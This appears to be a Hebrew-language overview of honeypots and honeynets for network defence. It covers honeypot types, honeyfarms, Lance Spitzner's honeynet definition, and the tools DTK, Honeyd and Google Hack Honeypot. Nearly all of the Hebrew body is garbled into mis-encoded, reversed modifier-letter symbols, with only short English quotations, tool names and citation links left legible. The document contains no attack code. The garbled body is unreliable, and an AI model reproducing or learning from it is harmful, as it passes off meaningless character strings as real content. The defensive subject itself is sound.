˞˶˦ˮ˧˞ ˸ˣˬ˶ ˧˲ ˪˰ˣ ˸ˣ˶˦ˬ ˧˲ ˪˰ ˸ˣˡˣ˩˪ˬˢ ˠˣˣ˧˯ ˪˰ ˣˮ˶˟˧ˡ ˫˧ˬˡˣ˵ˢ ˫˧˵˶˲˟ˢ˧˵˴ . ˠˣˣ˯˪ ˸˲˯ˣˮ ˨˶ˡ

 ˫˧ˠˣ˯ˢ ˧˲ ˪˰ ˞˧ˢ ˭˸ˣ˞ˢˣˮ˧ˬ˧˟ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˸˧˧˷˰˸˟ ˫˧ˬ˷ˣ˧ˬ . ˡˣ˵˲˸ˢ ˧˲ ˪˰ ˠˣˣ˧˯˟ ˶˟ˣˡˬ

˸ˡˣ˩˪ˬˢ ˸˰˴˟ˬ˷, ˢ˥˦˟˞ˢ ˸˧˧˷˰˸˟ ˸ˬ˷ˣ˧ˬ ˸ˣ˧ˢ˪ ˢ˶˥˟ˮ ˞˧ˢ ˣˮ˧ˠ˟ . 

 

¶ ˫˧˦˶ˣ˲ ˶ˣ˦˧ˮ ˸ˣ˩˶˰ˬ 
 

 ˸˞˴ˬˮ˷ ˶˸ˣ˧˟ ˢ˦ˣ˷˲ˢ ˷˟ˡˢ ˸ˡˣ˩˪ˬ ˧ˢˣˤ˩˷ˣˬ˧˷˟ ˫ˣ˧ . ˞ˣˢ ˦˶ˣ˲ ˶ˣ˦˧ˮ ˯˯ˣ˟ˬ ˦˵ˣ˯ ˫˴˰˟
˦˶ˣ˲˪ ˭˧ˤ˞ˬˣ ˥˸ˣ˲˷ ˢˮ˩ˣ˸ .˪ ˢ˶ˡˠˢˢ- ˰ˡ˧ˬ ˪˷ ˸˧˪ˬ˧ˮ˧ˬˢ ˸ˣˬ˩ˢ ˞˧ˢ ˦˵ˣ˯ˢ ˶ˣ˟˰ ˢ˴ˣ˥ˮ

˸˷˶˟ ˸˶ˣ˷˵˸ ,ˢˬ ˣ˶ˣ˵ˬ-TCP/IP .ˢ ˸˟ˣ˸˩ ˪˷ ˡ˰˧ˢˣ ˶ˣ˵ˬˢ ˸˞ ˣ˩ˣ˸˟ ˪˧˩ˬ ˦˵ˣ˯-IP , ˦˶ˣ˲ ˸˞

 ˢ˶˟˰ˢˢ ˪ˣ˵ˣ˦ˣ˶˲ ˸˞ˣ ˡ˰˧ˢˣ ˶ˣ˵ˬˢ)UDP  ˣ˞TCP .( 

 

˸ ˫˧˦˶ˣ˲ ˶ˣ˦˧ˮ ˪˷ ˷˟ˡ ˸ˡˣ˩˪ˬ˫˧˴˶ˣ˲ ˧ˡ˧ ˪˰ ˫˧˵˶˯ˮ ˟ˣ˶˪˷ ˫˧˦˶ˣ˲˟ ˢ˶ˣ˟˰˸˪ ˭˧ˤ˞ . ˣˤ ˸˩˶˰ˬ
˶ˣ˟˧˥ˢ ˸˪˟˵ ˶˥˞˪ ˡ˧ˬ ˦˶ˣ˲ˢ ˸˪˲ˢ˪ ˪˰˲˸ ,˱˵ˣ˸ˢ ˸˞ ˰˧˸˶˧˷ ˶˟ˡ . ˪˲ˣˮ ˶ˣ˟˧˥ ˣ˟ ˟˴ˬ

 ˵˧˪ˡˬ ˸ˣ˧ˬˣ˞˸˲˟"ˢˬˣˡ˞ ˢ˶ˣˮ " ˸˩˶˰ˬ ˸ˬ˧˧˵˷ ˸ˣ˶˷˲˞ˢ ˪˰ ˰˧˶˸ˬˣ ˳˶ˣ˲ˢ ˪˴˞IDS  ˪˰ ˢ˴˶˷

ˢˤ ˦˶ˣ˲. 
 

¶ ˢ˞ˮˣˢ ˸ˣ˩˶˰ˬ 

 

˶˟ˣˡˬ ˟ˢ ˸˩˶˰ˬ ˸˶˴ˣ˧ ˞˧ˢ˷ ˞ˣˢ ˢ˪˷ ˡˣ˥˧˧ˢˣ ˫˧˦˶ˣ˲ ˶ˣ˦˧ˮ˪ ˸ˣ˩˶˰ˬˢ ˪˰ˬ ˡ˥˞ ˟˪˷ ˸˞˴ˬˮ
˳˶ˣ˲ˢ ˫˰ ˶˷˵ .˫˧˦˶ˣ˲ ˶ˣ˦˧ˮ ˸˩˶˰ˬ˪ ˡˣˠ˧ˮ˟ , ˸˶˷ ˞˧ˢ ˣ˪˧˞˩ ˦˶ˣ˲ ˸˵˧˶˯˪ ˟˧ˠ˸ ˢ˞ˮˣˢ ˸˩˶˰ˬ

˧˸˧ˬ˞ .˸˩˶˰ˬ˟ ˫˧˪ˣ˪˩˷ˢ ˡ˥˞˪ ˢˬˠˣˡ-  ˫˧˲˵ˣ˸˟ ˸ˣ˦˷˪ ˸ˮˬ ˪˰ ˢ˥˧˸˲ ˨˯ˬ˟ ˸ˡ˧˧ˣ˴ˬ ˞˧ˢ
˫˧˧˪˞˧˴ˮ˦ˣ˲. 

 

¶ ˢ˞ˮˣˢ ˸˩˶˰ˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˧ˣ˟˧˶˟ 

 

 ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˢˬ˩˟ ˷ˬ˸˷ˢ˪ ˸ˣ˶˷˲˞ˢ ˸˪˰˟ ˸˩˶˰ˬ ˞˧ˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˧ˣ˟˧˶˟ ˢ˞ˮˣˢ ˸˩˶˰ˬ
ˢ˯˧ˮ˩ ˧˩˯ˬ˟ ˸˷ˬ˸˷ˬˣ, ˸ˣˮˣ˷ ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ ˶ˣ˟˰ ˸ˣ˪˧˟˥ ˸ˣ˵˥˪ ˸ˮˬ ˪˰. 

 

¶ ˸ˣ˞˪ˬ ˸ˣ˩˶˰ˬ 

 

 ˸˩˶˰ˬ ˸˩˲ˣˢˣ ˢ˦ˣ˷˲ ˸ˡˣ˩˪ˬ˪ ˶˟˰ˬ ˡ˥˞ ˟˪˷ ˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˞˷ˣˮ ˸˞ ˸˥˵ˣ˪ ˢ˞˪ˬ ˸˩˶˰ˬ
˲˫˧ˬ˧˧ˣ˯ˬ ˡˣ˞ˬ ˫˧˪˪˩ ˧˟ˠ˪ ˵˶ ˰˧˶˸ˢ˪ ˸˰˟˵ˮ ˟ˣ˶˪ˣ ˸ˣˣ˪ˮˢ ˸ˣ˧ˣ˶˷˲˞ˢ ˪˩ ˫˰ ˸˪˰ˣ . ˸˩˶˰ˬ

 ˸˩˶˰ˬ ˫˰ ˟ˣ˪˧˷˟ ˣˤ ˢ˞˪ˬIDS ˢ˞˪ˬ ˢ˞˶˸ˢ ˸˩˶˰ˬ ˸˪˪ˣ˩ , ˡˣ˰˧˸ˢˣ ˶ˣ˦˧ˮˢ ˸˩˶˰ˬ ˸˞ ˢˣˣˢˬˣ

˸˧˟˧˦ˬ˧˦˪ˣ˞ˢ. 
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 ˢ˧ˠ˦˶˦˯˞ˣ ˫ˣ˵˧ˬ 
 

 ˷˟ˡ ˸ˡˣ˩˪ˬˢˮ˧˞ ˸˷˶ˣˡ ˸ˡ˥ˣ˧ˬ ˢ˟˧˟˯ ˫ˣ˷, ˞ ˸˶˷˷ ˧˲˩ ˵ˣ˧ˡ˟ ˪˰ ˫˧ˡ˥ˣ˧ˬ ˫˧˞ˮ˸ ˨˧˶˴ ˞˪ ˧˸˧ˬ

˪ˣ˰˲˪ ˸ˮˬ .˪ˣ˩˧ ˧˸˧ˬ˞ ˸˶˷ ˣ˟˷ ˫ˣ˵ˬ ˪˩˟ ˫ˣ˵ˬˬ ˪ˣ˰˲˪ ˢ˪ˣ˩˧ ˣˤ ˸ˡˣ˩˪ˬ ,˞˨ ˭˟ˣˬ˩-  ˸ˣˬˣ˵ˬ

˫˧˶˥˞ ˸ˣˬˣ˵ˬ ˧ˮ˲ ˪˰ ˫˧˲˧ˡ˰ ˫˧ˬ˧˧ˣ˯ˬ. ˸˞ˤ ˡ˟˪ˬ- ˮ˷˧ ˭˟ ˷ˣˬ˧˷˪ ˸ˣˮˣ˷ ˸ˣ˦˧˷ˣ ˸ˣ˵˧˦˵˦- 

Honeypot ,˸˩˶˰ˬˢ ˪ˢˮˬ ˧˩˶˴˟ ˧ˣ˪˸ ˪˩ˢ. 

 

˶ˡ ˭˧˞ ˸ˬ˞˟˷ ˭ˣˣ˧˩ˬ ˸ˬ˵ˢ˪ ˢˡ˧˥˧ ˨Honeypot ˫˧˟˶ ˫˧ˡ˧˵˲˸˪ ˷ˬ˷˪ ˢ˧ˣ˷˰ ˞˧ˢˣ , ˸˞ ˫˧˞˸ˢ˪ ˷˧

˪˰˲˸ ˸ˡˣ˩˪ˬˢ˷ ˢ˴˶ˮ ˢ˟˷ ˢ˪ˣ˰˲ˢ ˨˶ˡ ˪˞ ˫˧ˬ˧˧˵ˢ ˫˧˞ˮ˸ˢ.˸ˣ˞ˬˠˣˡ ˢˬ˩ ˭˪ˢ˪: 

 

¶ ˫˧˦˶ˣ˲ ˸˞ˮˣˢ ˸˩˶˰ˬ 

 

 ˸˶˷ ˢ˧ˢ˧ ˣˤ ˸˩˶˰ˬ˪ ˢˬˠˣˡFTP ˢˤˢ ˸ˣ˶˧˷ˢ ˸˞ ˵˲˯ˬ ˸ˬ˞˟ ˞˪˷ . ˫˧˪˞ˣ˦˶˧ˣ ˸˷˶ ˧˸ˣ˶˧˷

˧ˮ˵˸ˣˬ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧˷˟ˡ ˸ˣˡˣ˩˪ˬ ˪˰ ˫ ,˞˨  ˸˷˶ˢ ˸˶ˣ˟˰˸ ˸˞ ˵˶ ˫˧˰˧˴ˬ ˫ˢ ˢ˷˰ˬ˪) ˭˟ˣˬ˩
 ˸ˮˬ ˪˰ ˧˸˧ˬ˞ ˸ˣ˞˶˧ˢ˪ ˟˧˧˥ ˸ˣ˶˧˷ˢ˷˷˸˧ˬ˶˸ˢ ˪˰ ˸ˣ˪˰˪ ˱˵ˣ˸˪ ˫ˣ˶ˠ˪ ˞˪.( 

  

¶ ˫˧˷˵ˣˬ ˢˡ˷ ˸˩˶˰ˬ 

 

 ˪˷ ˢˣ˟ˠ ˸˧˯˥˧ ˶˲˯ˬ ˫ˣ˵˧ˬHoneypot  ˪˷ ˸˧ˮˣ˷˞˶ˢ ˢ˶˦ˬˢ ˸˞ ˸ˣˣˢ˪ ˸ˮˬ ˪˰ ˸˷˶ˢ ˸ˬˡ˧˵˟

˫˧˲˵ˣ˸ˢ .ˡ˰ˣˮ ˢˤ ˨˪ˢˬ ˟ˤ˟˪ ˫˧ˬ˧˧˵ ˸ˬ˞˟ ˞˪˷ ˫˧˸ˣ˶˧˷ˣ ˸ˣ˩˶˰ˬ ˪˰ ˫˧˲˵ˣ˸ˢ ˪˷ ˫ˮˬˤ ˸˞ ˤ
 ˥˧˯ˢ˪ ˨˩˟ˣ ˫˸˰ˡ ˸˞˸˧˸˧ˬ˞ˢ ˸˩˶˰ˬˢˬ. 

 

¶ ˭˟˶ˣ˵ ˸˩˶˰ˬ 

 

 ˸˩˶˰ˬ ˧ˢˣˤhoneypots s˸˧˸˧ˬ˞ ˸˩˶˰ˬ˪ ˶ˣ˟˧˥ ˫ˣ˷ ˣ˟ ˭˧˞˷ ˫ˣ˵˧ˬ˟ ˸ˬ˵ˣˬˬ. 

 

¶ ˭ˠˬ ˸˩˶˰ˬ 

 

ˣˤ ˢ˵˧˦˵˦˟ ,˷˞ˢ ˸ˬˣ˥, ˶˦ˣ˞˶ˢ ˣ˞,  ˫˧˦˶ˣ˲ ˸˧˧ˮ˲˟ ˫˧˷ˬ˸˷ˬ˧ˡ˩˟ ˰˸ ˸ˣˮ˲ˢ˪ ˢˡ˰ˣˮ˷ ˢ˶ˣ˟
˫˧˷˶ˣˬ ˞˪ ˫˧˸ˣ˶˧˷ ˪˞ ˶ˣ˵ˬ˟ ˰˧ˠˢ˪ .ˢ ˪˞ ˸˧ˮ˲ˣˬ ˣˤ ˢ˶ˣ˟˰˸-Honeypot .ˢˬˠˣˡ˪ , ˢ˯ˮˮ ˫˞

 ˸ˣ˰˴ˬ˞˟ ˶˟˥˸ˢ˪telnet ˶˥˞ ˣ˞ ˢˤ˩ ˦ˮ˶˦ˮ˧˞ ˸˶˷˪ , ˪˞ ˢˮ˲ˣˮHoneypot  ˵˸˰ˢ ˫˴˰˟ ˞˧ˢ˷

˧˶ˣ˵ˬˢ ˸˶˷ˢ ˪˷. 
 

˸ˣ˧ˠ˦˶˦˯˞ˢ˪ ˱˯ˣˮ˟ ˢ˪˞ ,ˠˣ ˦ˮ˶˦ˮ˧˞ˢ ˸˷˶ ˧˟ˠ ˪˰ ˸ˡˣ˩˪ˬ˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞ ˸˷˶ ˧˟ˠ ˪˰ ˫
ˢ˶˦ˮ˧˞ˢ-˦ˮ ,˵˲˯˪ ˢˡ˰ˣˮ ˞˧ˢ˷ ˫˧˸ˣ˶˧˷˟ ˧ˣ˪˸ ˪˩ˢ .˪˭˧ˮ˰ˢ ˨˶ˣ˴ , ˫˧ˡ˟ˣ˰ ˯ˣ˲˸˪ ˢ˴˶ˮ ˫˞

ˢ˶˦ˮ˧˞˟ ˸˧ˬˣ˵ˬˢ ˸˷˶ˢˬ-˦ˮ ,˶˸ˣ˧˟ ˢ˪˧˰ˣˬˢ ˢ˧ˢ˸ ˣˤ ˸˷˶˟ ˷˟ˡ ˸ˡˣ˩˪ˬ ˸ˬ˵ˢ. 
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)sˬ ˥˵˪ˮ ˫˧˷˶˸-White Paper: Honeypots- Reto Baumann, Christian Plattner( 

˸ˣˮˣ˶˯˥ 
 

ˢ˥˦˟˞ ˸˩˶˰ˬ˟ ˸ˣˬ˧˧˵˷ ˸ˣ˴˶˲˪ ˸ˣ˰ˡˣˬ˪ ˢˮˣ˧˪˰ ˸ˣ˟˧˷˥ ˷˧ , ˫˧ˮˣˮˠˮˬˣ ˫˧ˡ˟˶ ˢ˪ ˱˧˯ˣˢ˪ ˸ˮˬ ˪˰

ˢ˪˞ ˸ˣ˴˶˲ ˫˰ ˣˡˡˣˬ˸˧˷ ˫˧˲˯ˣˮ ,˩˪ˣˤ ˸˩˶˰ˬ ˪˷ ˸ˣˮˣ˶˯˥˟ ˵ˣ˯˰˧ ˢˤ ˵˶˲ ˭. 

 

1.  ˸˩˶˰ˬ ˫˞Honeypot ˢ˥˪˴ˢ˟ ˢ˲˵˸ˣˢ , ˪˞ ˱˵ˣ˸ˢ ˶ˣ˟˰ ˢ˴˧˲˵ ˷˶˵˩ ˷ˬ˷˪ ˢ˪ˣ˩˧ ˞˧ˢ

˸ˣ˶˥˞ ˸ˣ˸˷˶ˣ ˟˷˥ˬ ˸ˣ˩˶˰ˬ .ˢ˞˶ˮˢ ˪˩˩ ,˷˟ˡ ˸ˣˡˣ˩˪ˬ˟ ˶˸ˣ˧˟ ˢ˪ˣˡˠˢ ˢˮ˩˯ˢ ˣˤ . ˸ˮˬ ˪˰

˭ˣ˩˧˯ˢ ˸˞ ˫˴ˬ˴˪, ˷˞ˢ ˸ˬˣ˥ ˧˶ˣ˥˞ˬ ˷˟ˡˢ ˸ˡˣ˩˪ˬ ˸˞ ˫˵ˬ˪ ˧ˣ˴˶ .˲ ˧ˢˣˤ ˢ˧ˣ˷˰˷ ˢ˪ˣ˰

 ˢ˶ˣ˟˰˸ˢ ˸˞ ˫˴ˬ˴˪ ˸˪ˠˣ˯ˬ ˞˧ˢ ˨˩˪ ˱˯ˣˮ˟ˣ ˸ˡˣ˩˪ˬˢ ˪˞ ˰˧ˠˢ˪ ˱˵ˣ˸ˢ ˪˰ ˸ˣ˷˵ˢ˪

˶˸ˣ˧ ˢˮ˧ˬ˞ ˢ˶ˣ˴ ˸˩˶˰ˬ˪ ˢˮ˵ˬˣ ˸˧ˮˣ˴˧˥ˢ. 
 

2. ˵ˣˤ˥˸˟ˣ ˢˬ˵ˢ˟ ˶˵˧ ˭ˬˤ ˭ˣˬˢ ˸ˣ˪ˤˣˠ ˷˟ˡ ˸ˣˡˣ˩˪ˬ s)˭ˢ˪˷ ˨ˣ˟˧˯ˢ ˸ˬ˶˟ ˧ˣ˪˸ .(˧˪˪˩ ˭˲ˣ˞˟ ,

˭ˣˠ˶˧˞ˢ ˡ˴ˬ ˫˧˟˞˷ˬ ˭ˣˬˢ ˸ˣ˪ˤˣˠ ˣ˪˞ ˸ˣ˩˶˰ˬ˷ ˪˪ˠ˟,  ˧˪ˢˮˬ˷ ˟˴ˬ ˰˧ˠ˧˷ ˸ˣ˶˷˲˞ ˷˧

˸ˣ˞ ˣ˟˩˧ ˦ˣ˷˲ ˭ˣˠ˶˧˞˟ ˢ˥˦˟˞ˢ ˭˫˧˟˞˷ˬ ˶˶˥˷˪ ˸ˮˬ ˪˰. 
 

 

 

http://citeseerx.ist.psu.edu/viewdoc/download;jsessionid=10078459BA94848EE166AD77B00FCD88?doi=10.1.1.10.8885&rep=rep1&type=pdf
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Honeynet 
 

A honeyfarm is a centralized collection of honeypots and analysis tools. 
The concept of the honeynet first began in 1999 when Lance Spitzner, founder of the Honeynet 

Project, published the paper "To Build a Honeypot": 
"A honeynet is a network of high interaction honeypots that simulates a production network 

and configured such that all activity is monitored, recorded and in a degree, discretely 
regulated." ς Wikipedia.org 

 

ˢ˸˶ˡˠˢ˟ ,Honeypot  ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˶˸ˣ˧ ˣ˞ ˫˧˧˸˷ ˞˧ˢ)Honeypots (ˢ˸˷˶˟ ˭ˢ˧ˮ˧˟ ˸ˣ˶˟ˣ˥ˬ. 

ˣ˪˞˩˷ ˸ˣ˸˷˶ ˶˸ˣ˧ ˸ˣˮˣˣˠˬˣ ˸ˣ˪ˣˡˠ ˸ˣ˸˷˶ ˶ˣ˦˧ˮ˟ ˸ˣ˪˧˰˧ ˭ˢ, ˢ˷˵˸ˬ ˸ˡˡˣ˟ ˷˟ˡ ˸ˡˣ˩˪ˬ ˭˸˧˞

˸ˣ˪˧˰˧˟ ˡˡˣˬ˸ˢ˪ .˪˪˩ ˨˶ˡ˟ ,-s Honeypot˭ˢ  ˸ˣ˩˶˰ˬˢˢˣ˟ˠ˧ ˶˲˯ˬ ˸ˣ˪˧˩ˬ ˸˧˯˥˧  ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˪˷

ˠ˶ ˸ˣ˪˧ , ˷˞ ˸ˣˬˣ˥)˸˷˶ˢ ˸˶ˣ˟˰˸ ˸˞ ˡ˰˸˪ˣ ˪˧˟ˠˢ˪ ˸ˮˬ ˪˰ ( ˸ˣ˩˶˰ˬˣIDS  ˸ˣˮˣ˷) ˸ˣ˲˴˪ ˸ˮˬ ˪˰

˸ˣ˧˶˷˲˞ ˸ˣ˲˵˸ˢ ˥ˮ˰˲˪ˣ .(˪˞ ˸ˣ˩˶˰ˬ ˪˷ ˟ˣ˪˧˷ˢ x ˢ˸˶˦ˬ˷ ˸˟˩˶ˣˬˣ ˸˪˪˩ˣ˷ˬ ˸˩˶˰ˬ ˶˴ˣ˧ ˡ˥˧

˫˧˶ˣ˥˷ˢ ˫˧˰˟ˣ˩ˢ ˡ˴ˬ ˫˧ˬˣ˧˞ ˸ˣˡˣ˞ ˶˸ˣ˧˟ ˟˥˶ˮ ˰ˡ˧ˬ ˱ˣ˯˞˪ ˞˧ˢ ˸˧˶˵˧˰ˢ ,˫ˢ˧˸ˣ˲˵˸ˢ ˧˲ˣ˞ ˸ˣˡˣ˞ 

˸ˣ˧ˣ˲˴ ˸ˣˮ˩˯ˣ .ˢ ˞˧ˢ ˸ˬˡ˵˸ˬ ˶˸ˣ˧ ˢ˶ˡˠˢ-HoneyFarm , ˫˧˪˩ˣ ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˪˷ ˤ˩ˣ˶ˬ ˱˯ˣ˞ ˢˣˣˢˬ˷

˫˧ˮˣ˷ ˫˧˧˦˧˪ˮ˞. 

ˢ ˦˲˯ˮˣ˵- Honeypot˟ ˥˸˲˸ˢ-1999  ˶ˬ˞ˬˢ ˫ˣ˯˶˲ ˟˵˰"To Build a Honeypot " ˯ˮ˞˪ ˧ˡ˧ ˪˰

˶ˮ˴˦˧˲˯ ,ˢ ˪˷ ˡ˯˧˧ˬ-Honeynet Project  

 

˥˧˧ˢˡˣ ˷ ˨˩˟ ˞˦˟˸ˬ ˣˤ ˸˩˶˰ˬ ˪˷˞˧ˢ ˢ˲˵˸ˢ˪ ˸ˮ˸˧ˮ˷ ˫˧˧˸˧ˬ˞ ˫˧˟˷˥ˬ ˪˷ ˸˷˶ . ˫˧˟˷˥ˬˢ

ˡ˥ˣ˧ˬ˟ ˫˧˷˧ˬˠ ˫ˮˢ˸˷˶˟ ,ˢ˴ˣ˶ ˭ˮ˩˸ˬˢ˷ ˢˬ ˪˷ ˢ˶ˣ˴ ˫˧˦ˣ˰ ˫ˢ ,˸ˣ˷˧ˬˠ˟ ˞ˣˢ ˫ˢ˪˷ ˥ˣ˩ˢ .

ˢˬˠˣˡ˪ : ˸˶˷Apache ˪˰CentOS . 

 

˷ ˢˡ˟ˣ˰ˢ ˸ˣ˟˵˰˟-Honeynet ˫˧˟˷˥ˬ ˢˬ˩ ˪˷ ˸˷˶ ˢˮ˧ˢ, ˴ˣˮ˶˸ ˸˶˥˞ ˢ˧˰˟ ˢ˧˰˟-  ˣˮ˞˷ ˪˩˩

 ˸˷˶ ˫˧˪˧ˡˠˬ˩˷ˣˤ , ˣˮ˞˫˧˵ˣ˵ˤ ˪ˢ˶ˬˣ˥ ˶˸ˣ˧ , ˱˯˩ ˶˸ˣ˧ ˰˧˵˷ˢ˪ ˷˧ˣ ˢ˪ˣ˰ ˸˩˶˰ˬˢ ˸ˣ˪˰˷ ˰ˬ˷ˬ

ˢ˵ˣˤ˥˸ˣ ˥ˣ˸˧˲˟ .˟ ˷ˣˬ˧˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˨˩˪ ˧˶˷˲˞ ˭ˣ˶˸˧˲-VMWare  ˳˧˶ˢ˪ˣ ˫˧˶ˢ˪ ˸ˮˬ ˪˰

 ˸ˣˮˣ˷ ˸ˣ˧˪˞ˣ˦˶˧ˣ˸ˣ˩˶˰ˬ)˸ˣ˶˥˞ ˷˟ˡ ˸ˣˡˣ˩˪ˬ (ˡ˥˞ ˟˷˥ˬ ˪˰ .˱˯ˣˮ ˶˟ˡ  ˫˧˵ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˭˸˧ˮ˷

˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˶˞˷ ˣˬ˩ ˵ˣ˧ˡ˟ ˟˷˥ˬ ˣ˸ˣ˞ ˪˰ ˷˞ ˸ˬˣ˥ .ˢˮˣ˷ ˠˣ˯ˬ ˢ˧˰˟ ˢ˪˰ˬ ˢˤ ˭ˣ˶˸˲ ,˸ˣ˧ˢ x ˧ˢˣˤ

˸˶˥˞ ˸˧˪˞ˣ˦˶˧ˣ ˢ˟˧˟˯ ˢˬˡˬ˷ ˢˮ˩ˣ˸ ˵˶ , ˡ˧ˬ˰ˬ ˢˤˣ ˢˬ˴˰ ˢˮˣ˩ˬˢ ˪˞ ˢ˴ˣ˥ˢ ˳ˣ˶˲˪ ˪˩ˣ˧ ˳˶ˣ˲ˢ

˸˩˶˰ˬˢ ˸˞ˣ ˣˮ˸ˣ˞ ,˭ˠˢ˪ ˫˧˯ˮˬ ˣˮ˞ ˢ˧˪˰, ˣ ˸˧˸˧ˬ˞ ˢ˧˧˰˟ ˧ˮ˲˟ˢ˪ˣˡˠ. 
 

 

https://honeynet.org/blog/4
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HoneyPots- ˸ˣˬ˧˧˵ ˸ˣˮ˩ˣ˸ ˪˷ ˢˬˠˡˢ 
 

˫ˣ˧˩ ˭ˮ˷˧  ˸ˣˬ˧˧˵ ˸ˣ˩˶˰ˬ ˶˲˯ˬˢ ˟˥˶ˢ ˶ˣ˟˧˴˪ ˸ˣ˶˶˥ˣ˷ˬ)˸ˣ˧˶˥˯ˬ ˸ˣ˩˶˰ˬ ˫ˠˣ ˥ˣ˸˲ ˡˣ˵ (

ˢˢˮˣ˷ ˢ˦˧˪˷˟ˣ ˸ˣˮˣ˷ ˸ˣˬ˶˟ ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˫˧˵ˢ˪ ˸ˣ˶˷˲˞ˬ .˭ˢˬ ˢˬ˩ ˪˰ ˦˶˲˞ ˢˤ ˵˪˥˟. 

 

1. DTK-  ˫˧˧˷˲ˣ˥ ˫˧˪˩ ˪˷ ˦˯) ˫˟ˣ˶˫˧˟ˣ˸˩ ˟-Perl (ˡ˰ˣˮ˷ x ˡ˴˪ ˸˸˪ ˶˷˞ ˸˩˶˰ˬˢ ˸˞ ˪ˢˮˬ

˫˧˲˵ˣ˸ˢ ˪˰ ˸ˣˮˣ˶˸˧ ˢ˪ ˸˸˪ˣ ˶˸ˣ˧ ˢ˟ˣ˦ ˢ˶ˣ˴˟ ˢ˧˪˰ ˭ˠˢ˪ . ˸˞ ˸ˣ˰˦ˢ˪ ˞ˣˢ ˪˪ˣ˩ˢ ˭ˣ˧˰˶ˢ

 ˢ˴˧˶ˬ ˸˩˶˰ˬˢ ˫˞˷ ˨˩ ˧ˡ˧ ˪˰ ˫˧˲˵ˣ˸ˢDTK , ˸ˣ˧˶˷˲˞ ˸ˣˮ˧ˬˤ ˸ˣ˴˶˧˲ ˶˸ˣ˧ ˷˧ ˸˩˶˰ˬ˪

ˣ˶ˣ˟˰ .ˢ˶ˣ˵ ˸ˬ˞˟˷ ˢˬ ˞ˣˢ ˢˢˣ˟ˠ ˢ˶ˣ˴˟ ˱˵ˣ˸ˢ ˫˰ ˶˷˵ˢ ˸˞ ˢ˪˧˟ˠˬ ˸˩˶˰ˬˢ˷ ,˞˨ 

 ˣ˪˧˞˩ ˸ˣ˟ˣˠ˸ ˢ˶˧ˤ˥ˬˣ ˢ˴˶˧˲ˢ ˪˷ ˨˧˪ˢ˸ˢ ˪˩ ˸˞ ˢˬˡˬ˶˟ˣˡˬ ˢ˧ˢ ˟ ˸˪˰˟ ˸˧˸˧ˬ˞ ˸˩˶˰ˬ

˸ˣ˧˸˧ˬ˞ ˸ˣ˷˪ˣ˥. 
 

 

 

2. Honeyd-  ˸ˣ˩˶˰ˬ ˪˰ ˫ˠ ˳˶˷ ˭˦˵ˣ ˦ˣ˷˲ ˸˧˯˥˧ ˭ˣˬ˧ˡUNIX  ˸ˣ˩˶˰ˬ ˪˰ ˫ˠˣWindows . ˞ˣˢ

ˡ˥˞ ˟˷˥ˬ ˪˰ ˸ˣˮˣ˷ ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣˮˣ˩ˬ ˶ˣ˴˧˪ ˶˷˲˞ˬ . ˫˧˸ˣ˶˧˷ ˳˧˶ˢ˪ ˣ˶˧ˡˠˢ˪ ˭˸˧ˮ ˣˬ˩FTP 

 ˣ˞SMTP x˪ ˶˟˰ˬ˨˩ ,ˢ˪˰˲ˢ ˸˩˶˰ˬ ˸ˣˬˡ˪ ˷ˬ˸˷ˬ˪ ˶˷˲˞ˬ . 

 

3. GHH- ˞˪ˬˢ ˣˬ˷˟ ˣ˞ :Google Hack Honeypot . ˫˧˷ˬ˸˷ˬ˷ ˫˧˲˵ˣ˸ˢ ˸˧˧˰˟˟ ˪˲˦˪ ˡ˰ˣˮ

ˢ˴˧˶˲ ˧˪˩˩ ˷ˣ˲˧˥ˢ ˧˰ˣˮˬ˟ ,ˣ ˸ˣ˧ˢ˧ˬ ˷ˣ˲˧˥ ˶˷˲˞ˬ ˪ˠˣˠ ˸˶˟˥ ˪˷ ˷ˣ˲˧˥ˢ ˰ˣˮˬ˧ ˸ˣˬ˩˟ ˧ˡ

˰ˡ˧ˬ ˪˷ ˢ˶˧ˡ˞ .˪ˡˠ ˦ˮ˶˦ˮ˧˞ˢ˷ ˪˩˩ , ˣ˪˥ˢ ˪ˣˢ˧ˮ ˧˪˩ˣ ˫˧ˬˣ˶ˣ˲ ˭ˣˠ˩ ˸˷˶ ˧ˬˣ˷˧ ˫ˠ ˰˧˲ˣˢ˪

˵ˣ˥˶ˬ, ˷ ˶˟ˡ˪˧˟ˣˢ ˫˪ˣ˩˪ ˣ˪˞ ˸ˣ˷˪ˣ˥ ˠ˧˴ˢ˪ ˧ˣ˞˶˩ ˸ˣ˶ˡˠˣˬ ˞˪ ˸ˣˮ˩ˣ˸˪. GHH  ˫ˣ˷˧ ˢˬˡˬ

˫˧˟˶ˢ ˷ˣ˲˧˥ˢ ˧˰ˣˮˬ ˪˞ ˱˶˦˴ˢ˪ ˣ˪ ˶˷˲˞ˬˣ ˧˸˧ˬ˞ ˸˷˶ . ˳˟ˣ˵ ˪˞ ˸˶˟ˣ˥ˬ ˣˤ ˷˟ˡ ˸ˡˣ˩˪ˬ

ˬˢ ˪˷ ˸ˣ˶ˡˠˢ ˳˟ˣ˵˟ ˶ˡˠˣˢ˷ ˶˟ˡ ˪˩ ˡ˰˸ˬˣ ˫˷ˣ˶˷ ˸ˣ˶ˡˠˢˢ˸˩˶˰ . ˢ˯ˮˬ ˱˵ˣ˸ ˶˷˞˩

 ˫ˣ˷˧˧ˢ ˸˞ ˱ˣ˵˸˪)˫˧˧˵ ˸ˬ˞˟ ˞˪˷(,  ˱˵ˣ˸ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ˟ ˞˪ˬ˸ˢ˪ ˪˧˥˸ˬ ˡˣ˰˧˸ˢ ˳˟ˣ˵

